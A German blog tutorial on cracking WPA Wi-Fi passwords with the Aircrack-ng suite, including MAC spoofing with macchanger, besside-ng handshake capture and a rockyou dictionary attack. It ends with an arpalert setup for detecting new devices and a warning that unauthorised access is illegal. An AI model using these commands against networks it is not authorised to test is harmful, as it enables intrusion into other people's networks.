Tuesday, July 9, 2024

WLAN hacking

Viele Anleitungen und auch die gängige Fachliteratur nutzen die klassischen Tools der Aircrack-ng Suite airodump-ng(8) und aireplay-ng(8). Vergleiche diese Anleitung: How to Crack WPA/WPA2

Die Aircrack-ng Suite bietet aber auch experimentelle Tools wie besside-ng(8), um ein WLAN zu hacken. Es knackt einen WEP- oder WPA-Schlüssel ohne Benutzereingriff.

Installation der Aircrack-ng Suite

Die Aircrack-ng Suite kann über die Paketverwaltung installiert werden:

apt install aircrack-ng

Es empfiehlt sich jedoch die experimentellen Tools, direkt von Upstream zu installieren:

# Bauabhänigkeiten installieren
apt build-dep aircrack-ng
# Aircrack-ng aus den Quellen installieren
git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng
NOCONFIGURE=1 ./autogen.sh
./configure --with-ext-scripts # enable experimental, extra scripts
make
make install

Die Tools liegen nun unterhalb von /usr/local und sind im PATH, so dass diese direkt in der Shell ausgeführt werden können.

MAC-Address spoofing

Bevor man das WLAN scannt, sollte man die MAC-Adresse des eigenen Adapter ändern. Dafür eignet sich z.B. das Tool macchanger(1):

apt install macchanger
macchanger -a wlan0 # set random vendor MAC of the same kind

Siehe auch: www.privacy-handbuch.de

Wordlist

Vorweg muss gesagt werden, dass sich WPA, aktuell nur mittels Wörterbuch/Brute Force angreifen lässt.

Kali Linux hat im Paket wordlists das rockyou.txt Wörterbuch, das wie folgt installiert wird:

apt install wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz # entpacken

WLAN-Passwort knacken

WLAN-Passwörter können eine Länge von 8 bis 63 Zeichen haben. Laut den Vorgaben des BSI sollte das Passwort aus mindestens 20 Zeichen bestehen, was vom gewählten Verschlüsselungsverfahren unabhängig gilt.

besside-ng

# WLAN-Adapter in den monitor mode schalten
airmon-ng start wlan0
# WPA-Handshakes aufzeichnen
besside-ng -vvv wlan0mon
# Log verfolgen
tail -f ./besside.log

Die WPA-Handshakes werden in der Datei ./wpa.cap gespeichert.

# Den monitor mode wieder abschalten
airmon-ng stop wlan0mon

Versuchen das WLAN-Passwort zu erraten:

aircrack-ng -w /usr/share/wordlists/rockyou.txt ./wpa.cap

Über neue Geräte im WLAN benachrichtigt werden

Mit dem Tool arpalert(8) können neue Geräte im Netzwerk anhand der MAC-Adresse erkannt werden.

apt install arpalert

Dies installiert das Paket arpalert über die Paketverwaltung.

In der Datei /etc/arpalert/arpalert.conf muss der Wert für das zu überwachende Interface gesetzt werden, ansonsten wird einfach das erste Interface genommen. Es können mehrere Interfaces durch Kommata getennt angegeben werden.

interface = wlan0

Auch muss in der Datei /etc/arpalert/arpalert.conf ein Script für action on detect angegeben werden, das bei Alarm eine Aktion auslöst. Im Beispiel unten, soll eine E-Mail an root gesendet werden.

action on detect = /usr/local/sbin/arpalert-action-on-detect # s.u.
#!/usr/bin/env sh
# ARP alert action
# grep "action on detect" /etc/arpalert/arpalert.conf 
# action on detect = /usr/local/sbin/arpalert-action-on-detect

mac="$1"
ip="$2"
extras="$3"
device="$4"
type_of_alert="$5"
vendor="$6"

case "$type_of_alert" in
	0)	subject="IP change $ip ($vendor)" ;;
	1)	subject="MAC already detected but not in white list" ;;
	2)	subject="MAC in black list" ;;
	3)	subject="New MAC $mac ($vendor)" ;;
	4)	subject="Unauthorized arp request" ;;
	5)	subject="Abusive number of arp request detected" ;;
	6)	subject="Ethernet MAC different from ARP MAC" ;;
	7)	subject="Flood detected" ;;
	8)	subject="New MAC whithout IP $mac ($vendor)" ;;
	9)	subject="MAC change $mac ($vendor)" ;;
	10)	subject="MAC expiere $mac ($vendor)" ;;
	*)	subject="n/a" ;;
esac

mail -s "$subject" root <<!
$device $ip $mac $vendor
$subject ($type_of_alert)
$extras
!

Damit das eigene Gerät keinen Alarm auslöst, muss dessen MAC-Adressen in die Datei /etc/arpalert/maclist.allow eingetragen werden und weiterhin angegeben werden, dass die Events für ip_change und new_mac ignoriert werden sollen:

cat <<! >>/etc/arpalert/maclist.allow
XX:XX:XX:YY:YY:YY 0.0.0.0 wlan0 ip_change
!
service arpalert force-reload

Weitere Geräte können, dem obigen Schema folgend, als neue Zeilen hinzugefügt werden.

Ein WLAN-Router kann i.d.R. auch so konfiguriert werden, dass nur bestimmte MAC-Adressen (Geräte) überhaupt eine Verbinung aufbauen dürfen (Whitelist).

Die .leases leeren:

service arpalert stop
>/var/lib/arpalert/arpalert.leases
service arpalert start

Schlusswort

Diesen Artikel habe ich geschrieben, um einer Bekannten Nachbarin die ihr Geburtsdatum als WLAN-Passwort gesetzt hat zu zeigen, dass es nur wenige Minuten braucht, bis man dieses erraten hat. Ich habe dazu ein Wörterbuch erstellt, das ein paar Datumsangaben enthält: dates.gz

Wer sich ernsthaft in des Nachbarn WLAN einloggen will, sollte bedenken, dass MAC-Adresse und Hostname im WLAN-Router geloggt werden. Und vor allem, dass es verboten ist. Vielleicht mag noch jemand den Straftatbestand und das mögliche Strafmaß in die Kommentare schreiben!

Links und Weiterführendes

Add comment

Fill out the form below to add your own comments

I process your data according to my privacy policy.